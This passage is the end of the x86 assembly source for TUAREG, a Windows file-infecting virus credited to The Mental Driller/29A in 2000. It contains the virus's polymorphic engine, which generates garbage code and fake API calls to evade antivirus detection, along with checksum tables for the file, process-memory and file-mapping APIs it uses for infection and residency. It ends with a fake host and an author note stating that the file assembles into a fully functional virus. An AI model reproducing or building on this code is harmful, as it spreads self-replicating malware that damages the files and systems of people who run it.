                ja    @@NoCheck
      @@CheckBoolean:
                call    RandomFlags
                jz    @@Check0
                mov     al, 3Dh
                stosb
                mov     eax, 1
                stosd
                jmp   @@MakeCondJump
      @@Check0: call    Random
                and     al, 3
                jz    @@Check0
                cmp     al, 2
                jb    @@OR
                jz    @@AND
       @@TEST:  mov     ax, 0C085h
                stosw
                jmp   @@MakeCondJump
       @@OR:    mov     ax, 0C009h
                stosw
                jmp   @@MakeCondJump
      @@AND:    mov     ax, 0C021h
                stosw
                jmp   @@MakeCondJump

      @@CheckMinus1:
                mov     al, 3Dh
                stosb
                mov     eax, -1
                stosd
      @@MakeCondJump:
        @@CJ_Again:
                call    RandomFlags
                jz    @@MakeJZ
                mov     al, 75h     ; JNZ
                jmp   @@MakeJump
     @@MakeJZ:  mov     al, 74h     ; JZ
   @@MakeJump:  stosb
                inc     edi      ; Leave space for the displacement
        @@CJ_Again3:
                push    dword ptr [ebp+CallsLevel1Ndx] ; Save the indexes of
                push    dword ptr [ebp+CallsLevel2Ndx] ; the calls. If we have
                push    dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
                                   ; because it's too long, we have to restore
                                   ; this to not set any inexistent CALL dis-
                                   ; placement over other code that's not a
                                   ; CALL
        @@CJ_Again2:
                mov     esi, edi   ; Save the actual storage index
                call    DoRandomGarbage ; Make garbage
                sub     esi, edi   ; Get the (-)displacement of the jump
                jz    @@CJ_Again2  ; If it's zero, loop to make garbage
                neg     esi        ; Calculate true displacement
                cmp     esi, 7Fh   ; Does it overpass the limit for displac.?
                jbe   @@CJ_OK      ; If not, jump and continue
                pop     dword ptr [ebp+CallsLevel3Ndx] ; Restore this, elimi-
                pop     dword ptr [ebp+CallsLevel2Ndx] ; nating any created
                pop     dword ptr [ebp+CallsLevel1Ndx] ; call before
                sub     edi, esi   ; Restore EDI...
                jmp   @@CJ_Again3  ; ...and repeat the garbage generation
               ; Here if the size of the garbage is correct
       @@CJ_OK: pop     eax ; Release the data in stack
                pop     eax
                pop     eax
                mov     eax, esi ; Put the displacement in AL
                neg     esi      ; Calculate the distance until the opcode
                mov     byte ptr [edi+esi-1], al ; Set the displacement in
                                                 ; the opcode
      @@NoCheck:
                call    APICall_RestoreStack                

        @@End:  mov     byte ptr [ebp+ImInAPI], 0
        @@End2: mov     [esp+S_EDI], edi
                popad
                ret
InsertAPICall   endp

APICall_StackOrder      db      0
APICall_StackedRegs     db      0, 0, 0

ImInAPI         db      0
AnyAPIFound     db      0
FirstAPICall    db      0

APICall_SaveEAX proc
                pushad
                xor     dl, dl
                jmp     APICall_SaveReg_Common
APICall_SaveEAX endp

APICall_SaveECX proc
                pushad
                mov     dl, 1
                jmp     APICall_SaveReg_Common
APICall_SaveECX endp

APICall_SaveEDX proc
                pushad
                mov     dl, 2
   APICall_SaveReg_Common:
                cmp     byte ptr [ebp+Index1Register], dl
                jz    @@SaveReg
                cmp     byte ptr [ebp+Index2Register], dl
                jz    @@SaveReg
                cmp     byte ptr [ebp+BufferRegister], dl
                jnz   @@NoRegister
         @@SaveReg:
                movzx   eax, byte ptr [ebp+APICall_StackOrder]
                mov     [ebp+eax+APICall_StackedRegs], dl
                inc     eax
                mov     [ebp+APICall_StackOrder], al
                call    DoPUSHReg
     @@NoRegister:
                call    DoRandomGarbage
                mov     [esp+S_EDI], edi
                popad
                ret
APICall_SaveEDX endp

PushParameter   proc
                pushad
                cmp     al, 1
                jb    @@End
                jz    @@Random
                cmp     al, 3
                jb    @@Handle
                jz    @@Buffer
                cmp     al, 5
                jb    @@BufferSize
                jz    @@Byte
                cmp     al, 7
                jb    @@Flags
                jz    @@Null
                cmp     al, 9
                jb    @@VirtualPointer
     @@VirtualSize:
                mov     al, 6Ah
                stosb
                call    Random
                and     eax, 0Fh
                add     eax, 10h
                stosb
                jmp   @@End
    @@VirtualPointer:
                mov     al, 68h
                stosb
                call    Random
                and     eax, 3FE0h
                add     eax, [ebp+EncryptedDataBeginAddress]
                stosd
                jmp   @@End
    @@Random:   call    Random
                cmp     eax, 7Fh
                jbe   @@RandomByte
                cmp     eax, 0FFFFFF80h
                jae   @@RandomByte
                push    eax
                mov     al, 68h
                stosb
                pop     eax
                stosd
                jmp   @@End
       @@RandomByte:
                push    eax
                mov     al, 6Ah
                stosb
                pop     eax
                stosb
                jmp   @@End
       @@Handle:
                mov     al, 68h
                stosb
                xor     edx, edx
                call    Random
                and     eax, 1Fh
                bts     edx, eax
                call    Random
                and     eax, 1Fh
                bts     edx, eax
                call    Random
                and     eax, 1Fh
                bts     edx, eax
                call    Random
                and     eax, 07h
                or      eax, edx
                stosd
                jmp   @@End
     @@Buffer:  call    SelectAnAddressHigh
                mov     al, 68h
                stosb
                mov     eax, ebx
                stosd
                jmp   @@End
     @@BufferSize:
                mov     al, 6Ah
                stosb
                call    Random
                and     al, 1Fh
                or      al, 20h
                and     ah, 4
                add     al, ah
                stosb
                jmp   @@End
     @@Byte:    mov     al, 68h
                stosb
                call    Random
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@ByteByte
                stosd
                jmp   @@End
         @@ByteByte:
                mov     byte ptr [edi-1], 6Ah
                stosb
                jmp   @@End
     @@Null:    mov     ax, 006Ah
                stosw
                jmp   @@End
     @@Flags:   xor     edx, edx
                call    Random
                and     eax, 1Fh
                bts     edx, eax
                call    Random
                and     eax, 1Fh
                bts     edx, eax
                call    Random
                and     eax, 1Fh
                bts     edx, eax
                mov     al, 68h
                stosb
                mov     eax, edx
                stosd
         @@End: mov     [esp+S_EDI], edi
                popad
                ret
PushParameter   endp

APICall_RestoreStack proc
                pushad
                movzx   eax, [ebp+APICall_StackOrder]
                or      eax, eax
                jz    @@End
     @@Loop01:  dec     eax
                js    @@End
                mov     dl, [ebp+eax+APICall_StackedRegs]
                push    eax
                call    DoPOPReg
                call    DoRandomGarbage
                pop     eax
                jmp   @@Loop01
       @@End:   mov     [esp+S_EDI], edi
                popad
                ret
APICall_RestoreStack endp

;; API information
;; Each API information has the next format:
;;
;; +00: Checksum of API name (DWORD)
;; +04: Virtual address that will have in file, 0 if not available/imported
;; +08-09-0A: Parameters in standard order (in reverse-PUSHing order):
;;            0=No parameter (last one)
;;            1=Random number
;;            2=Pseudo-handle
;;            3=Buffer address (beware with frame)
;;            4=Buffer size
;;            5=Number between 0 and 255
;;            6=Pseudo-flags
;;            7=NULL
;;            8=Any virtual address (for IsBad* funcs)
;;            9=Virtual size (for IsBad* funcs)
;; +0B: byte: Value returning check: 0=0, 1=-1, 2=Boolean, 3=Void or random
;;                                                           (no check)
;; +0C: Reserved
;;

APIInfo         label   dword  ;; There are 32 API information blocks, ordered
;; DWORD GetCommandLineaA(void) ; in frequency of use (in my opinion) in an
dd      009654E3h, 0            ; application
db      0, 0, 0, 3
dd      0
;; void GetStartupInfoA(Pointer)
dd      009DB67Fh, 0
db      3, 0, 0, 3
dd      0
;; DWORD GetEnvironmentStrings(void)
dd      14F02D92h, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetVersion(void)
dd      00217C32h, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetModuleHandleA(Pointer)
dd      0FFFFFFFFh, 0  ; dd      0005CD63h, 0
db      3, 0, 0, 0     ; Disabled. The fucking Windblows hangs the program
dd      0              ; if there is any problem with the pointer, instead of
                       ; returning an error
;; DWORD GetModuleFileNameA(Handle,Buffer,Buffer_Size)
dd      00B83717h, 0
db      2, 3, 4, 0
dd      0
;; DWORD MulDiv(Random,Random,Random)
dd      000007EAh, 0
db      1, 1, 1, 1
dd      0
;; DWORD GetACP(void)
dd      00000BEBh, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetOEMCP(void)
dd      000090CBh, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetCPInfo(CodePage,Buffer)
dd      0004C11Fh, 0
db      5, 3, 0, 0
dd      0
;; DWORD GetStdHandle(Flags)
dd      00004C91h, 0
db      6, 0, 0, 1
dd      0
;; DWORD GetLastError(void)
dd      0038408Eh, 0
db      0, 0, 0, 3
dd      0
;; void GetLocalTime(Buffer)
dd      00037E63h, 0
db      3, 0, 0, 3
dd      0
;; void GetSystemInfo(Buffer)
dd      0125711Fh, 0
db      3, 0, 0, 3
dd      0
;; DWORD GetCurrentProcess(void)
dd      46C8D729h, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetCurrentProcessID(void)
dd      8D91AE5Fh, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetCurrentThread(void)
dd      0048DF27h, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetCurrentThreadID(void)
dd      0091BE43h, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetConsoleCP(void)
dd      025AF28Bh, 0
db      0, 0, 0, 3
dd      0
;; DWORD GetCurrentDirectoryA(Buffer_Size,Buffer)
dd      2369A80Ah, 0
db      4, 3, 0, 0
dd      0
;; DWORD GetWindowsDirectoryA(Buffer,Buffer_Size)
dd      6D1CE819h, 0
db      3, 4, 0, 0
dd      0
;; DWORD GetSystemDirectoryA(Buffer,Buffer_Size)
dd      4948E80Bh, 0
db      3, 4, 0, 0
dd      0
;; DWORD GetDriveTypeA(NULL)
dd      00019307h, 0
db      7, 0, 0, 3
dd      0
;; BOOL GetComputerNameA(Buffer,Buffer_Size)
dd      012DB157h, 0
db      3, 4, 0, 2
dd      0
;; BOOL IsBadWritePtr(Buffer,Buffer_Size)
dd      0022A17Eh, 0
db      8, 9, 0, 2
dd      0
;; DWORD GetTickCount(void)
dd      00F97476h, 0
db      0, 0, 0, 3
dd      0
;; BOOL IsBadReadPtr(Buffer,Buffer_Size)
dd      000450BEh, 0
db      8, 9, 0, 2
dd      0
;; BOOL IsBadCodePtr(Buffer)
dd      0022A3EEh, 0
db      8, 0, 0, 2
dd      0
;; DWORD GetCurrentFiber(void)
dd      048DC056h, 0
db      0, 0, 0, 3
dd      0
;; DWORD LocalHandle(Address)
dd      00020491h, 0
db      8, 0, 0, 0
dd      0
;; DWORD LocalSize(Address)
dd      00101B69h, 0
db      8, 0, 0, 0
dd      0
;; DWORD LocalFlags(Handle)
dd      00040780Bh, 0
db      2, 0, 0, 1
dd      0


;; This function calls in a random order to the addresses of the functions
;; passed in EBX, ECX, EDX and ESI. It exchanges randomly its values among
;; them to get a random order, and after that pushes in the stack all this
;; addresses, so when the called functions return, the next function take
;; control, and in last terme the return of this function is complete (it's
;; the same than doing CALL EBX/CALL ECX/CALL EDX/CALL ESI/RET in the part
;; where we push the addresses, but pushing them we save bytes and we haven't
;; to save the register values).
RandomCalling   proc
                mov     eax, 5      ; Do the garbling 5 times
        @@J_00: call    RandomFlags ; Get random ZF, SF, CF and PF
                jz    @@J_01        ; Jump if ZF
                xchg    ebx, ecx    ; Exchange
        @@J_01: js    @@J_02        ; Jump if SF
                xchg    ecx, edx    ; Exchange
        @@J_02: jc    @@J_03        ; Jump if CF
                xchg    edx, esi    ; Exchange
        @@J_03: jp    @@J_04        ; Jump if JP
                xchg    esi, ebx    ; Exchange
        @@J_04: dec     eax
                jnz   @@J_00        ; Repeat 5 times
                push    ebx   ; Push all garbled addresses
                push    ecx
                push    edx
                jmp     esi   ; Jump here and conserve the return address
RandomCalling   endp

;; One of the most used functions in the engine. I think it's idea of Vecna
;; in one of his viruses. You get a random number and you save this random
;; as flags, so you have random flags to use with conditional jumps, getting
;; the same effect as CALL Random/AND AL,1/JZ xxx, but more optimized and with
;; more flags to use. Since SAHF only saves the general purpose flags, the
;; ones that can be modified with CMP (for example), we are sure that others
;; like IF or TF (important ones) are not modified.
RandomFlags     proc
                push    eax      ; Save EAX
                call    Random   ; Get a random number in AH
                sahf             ; Load it in the flags register
                pop     eax      ; Restore EAX
                ret              ; Return
RandomFlags     endp


;; The random generator. I use this routine since MeDriPolEn, and it had a 48
;; bits seed which generated near a perfect random sequence. Now it's conver-
;; ted to 32 bits, so it has a 96 bits seed (!!! - outstanding!).
Random  proc
        push    ecx                              ; Save register
        mov     eax, [ebp+DwordAleatorio1]       ; Get 1st seed
        dec     dword ptr [ebp+DwordAleatorio1]  ; Decrease to avoid linearity
        xor     eax, [ebp+DwordAleatorio2]       ; XOR with 2nd seed
        mov     ecx, eax                         ; Result in CL
        rol     dword ptr [ebp+DwordAleatorio1], cl ; ROL the 1st seed CL
                                                    ; times (random)
        add     [ebp+DwordAleatorio1], eax    ; Add (1st XOR 2nd) to 1st
        adc     eax, [ebp+DwordAleatorio2] ; Add the 2nd seed to (1st XOR 2nd)
                                           ; with CF (random CF at the moment)
        add     eax, ecx        ; EAX=(1st XOR 2nd)+2nd+CF
        ror     eax, cl         ; EAX=EAX ROL (byte)(1st XOR 2nd)
        not     eax             ; NOT (this breaks a possible proximity)
        sub     eax, 3          ; Subtract odd constant (break the linearity)
        xor     [ebp+DwordAleatorio2], eax ; Modify 2nd seed
        xor     eax, [ebp+DwordAleatorio3] ; XOR 3rd seed with the until-this-
                                           ; moment result
        rol     dword ptr [ebp+DwordAleatorio3], 1  ; Modify 3rd seed (ROL)...
        sub     dword ptr [ebp+DwordAleatorio3], ecx ; ...and with a 1st/2nd
                                                     ; seed dependant variable
        sbb     dword ptr [ebp+DwordAleatorio3], 4 ; Subtract a constant value
                                                   ; that could be 4 or 5
        inc     dword ptr [ebp+DwordAleatorio2] ; Break linearity on 2nd seed
        pop     ecx                     ; Restore register
        ret                             ; Return
Random  endp

SystemTimeReceiver label dword     ; Here we put what the API GetSystemTime
DwordAleatorio1 dd      12345678h  ; returns. Then we put DwordAleatorio3 as
DwordAleatorio2 dd      9ABCDEF0h  ; a modification of DwordAleatorio1 and 2,
DwordAleatorio3 dd      97654321h
                ;dd      87654321h  ; which are Year/Month/Day of the week/Day,
                dd      0          ; so it's day-dependant (slow polymorphism)
                dd      0       ; This variables to 0 are to make space for
                                ; the function return values

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; End of TUAREG
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;ËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËË;
;ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ;


;; These are the checksums of the API names. The checksum is calculated with:
;;   XOR EAX,EAX
;;   MOV ESI,offset String
;;Loop:
;;   MOV CL,[ESI]
;;   AND CL,3
;;   ROL EAX,CL
;;   XOR AL,[ESI]
;;   INC ESI
;;   CMP BYTE PTR [ESI],0
;;   JNZ Loop
;;
;; Which I think is quite variable and in theory it wouldn't make any problem
;; of coincidences, since it's quite variable in the result.
;; Then, the results of making this checksums (or whatever it is) to the
;; API names are as follows:
CRC_APIs                label   dword
CRC_GetProcAddress      dd      0342CDABh
CRC_CreateFileA         dd      000147CFh
CRC_CreateProcessA      dd      0A64AE17h
CRC_FindFirstFileA      dd      0070244Fh
CRC_FindNextFileA       dd      0003820Fh
CRC_GetFileAttributesA  dd      008AEB57h
CRC_SetFileAttributesA  dd      00A2EB57h
CRC_GetFullPathNameA    dd      00023117h
CRC_MoveFileA           dd      0002148Fh
CRC_CopyFileA           dd      00008C4Fh
CRC_DeleteFileA         dd      00004ACFh
CRC_WinExec             dd      00006EDBh
CRC__lopen              dd      00000DC2h
CRC_MoveFileExA         dd      000429A7h
CRC_OpenFile            dd      00000157h
CRC_ExitProcess         dd      0014572Bh

CRC_WriteProcessMemory  dd     0A8AE3121h
CRC_GetCurrentProcess   dd      46C8D729h
CRC_CreateFileMappingA  dd      0147EFAFh
CRC_MapViewOfFile       dd      00950AD7h
CRC_UnmapViewOfFile     dd      043D0AD7h
CRC_CloseHandle         dd      00011811h
CRC_SetFilePointer      dd      0014B9D6h
CRC_GetFileTime         dd      00004783h
CRC_SetFileTime         dd      00005383h
CRC_GetWindowsDirectoryA dd     6D1CE819h
CRC_GetCurrentDirectoryA dd     2369A80Ah
CRC_SetCurrentDirectoryA dd     7369A80Ah
CRC_GetSystemDirectoryA  dd     4948E80Bh
CRC_GetSystemTime       dd      00092963h
CRC_LoadLibraryA        dd      0011B62Bh
CRC_FindClose           dd      000E69F3h
CRC_WriteFile           dd      00004F07h
CRC_FreeLibrary         dd      000AE335h
                        dd      0      ; This signalizes the end of the APIs

;; This is the space that we use to store the addresses to the API functions.
FunctionsToPatch        label   dword
RVA_GetProcAddress      dd      0    ; This first 15 are used for per-process
RVA_CreateFileA         dd      0    ; residency
RVA_CreateProcessA      dd      0
RVA_FindFirstFileA      dd      0
RVA_FindNextFileA       dd      0
RVA_GetFileAttributesA  dd      0
RVA_SetFileAttributesA  dd      0
RVA_GetFullPathNameA    dd      0
RVA_MoveFileA           dd      0
RVA_CopyFileA           dd      0
RVA_DeleteFileA         dd      0
RVA_WinExec             dd      0
RVA__lopen              dd      0
RVA_MoveFileExA         dd      0
RVA_OpenFile            dd      0
RVA_ExitProcess         dd      0

RVA_WriteProcessMemory  dd      0
RVA_GetCurrentProcess   dd      0
RVA_CreateFileMappingA  dd      0
RVA_MapViewOfFile       dd      0
RVA_UnmapViewOfFile     dd      0
RVA_CloseHandle         dd      0
RVA_SetFilePointer      dd      0
RVA_GetFileTime         dd      0
RVA_SetFileTime         dd      0
RVA_GetWindowsDirectoryA dd     0
RVA_GetCurrentDirectoryA dd     0
RVA_SetCurrentDirectoryA dd     0
RVA_GetSystemDirectoryA  dd     0
RVA_GetSystemTime       dd      0
RVA_LoadLibraryA        dd      0
RVA_FindClose           dd      0
RVA_WriteFile           dd      0
RVA_FreeLibrary         dd      0

NumberOfFunctions       equ     ($ - offset FunctionsToPatch) / 4

align 4         ; Align (for memory accesses in the decryptor)

SystemTime              label   dword
  Year                  dw      0
  Month                 dw      0
  DayOfWeek             dw      0
  Day                   dw      0
  Hours                 dw      0
  Minutes               dw      0
  Seconds               dw      0
  Miliseconds           dw      0

org     SystemTime

FindFileField           label   dword
  FileAttributes        dd      0
  CreationTime          dd      0
                        dd      0
  LastAccessTime        dd      0
                        dd      0
  LastWriteTime         dd      0
                        dd      0
  FileSizeHigh          dd      0
  FileSizeLow           dd      0
  Reserved              dd      0
                        dd      0
  FileName              db      104h dup (0)
  AlternateFileName     db      10h dup (0)
FindFileFieldSize       equ     $ - offset FindFileField

FileTime        dd      0
                dd      0
                dd      0
                dd      0
                dd      0
                dd      0
                dd      0
                dd      0

                align   4    ; Align on a 4-byte boundary to give the virus
                             ; a size multiple of 4
End_Virus       label   dword
;; The virus ends here

;; This is a fake host that only says that you have been infected and then
;; you are stupid for playing with files of unknown source :P (only first
;; generation!)
FakedHost:      push    0
                push    offset Titulo
                push    offset Mensaje
                push    0
                call    MessageBoxA
                push    0
                call    ExitProcess

                db      10000h dup (90h)  ; Complete to avoid exceptions when
                                         ; zeroing on first generation

                end     TuaregMain    ; End directive

It's curious, but when you put the END directive under TASM, you can write
whatever you want after it and it won't be considered (I'm writing without
semicolons! :)

dsadjshajkdhsajkd
dsa
fds
fds
afdsa   :P

(c)The Mental Driller/29A, somewhen on November, 2000

This code is only for research and educational purposes. The assembling of
this file will produce a fully functional virus, so you have been warned! If
this kind of material is illegal in your country or state, you should remove
it from your computer. The author of this virus declines any illegal activity
including possesion and/or spreading by the possesor of the virus sourced
here. The spreading of this virus could save any life that receives the money
of anyone who got his/her web start page changed and used the
http://www.thehungersite.com donation services, but since the spreading is
illegal in the majority of the world, theorically this virus should not be
spreaded. So, do what you want :), but I'm not responsible.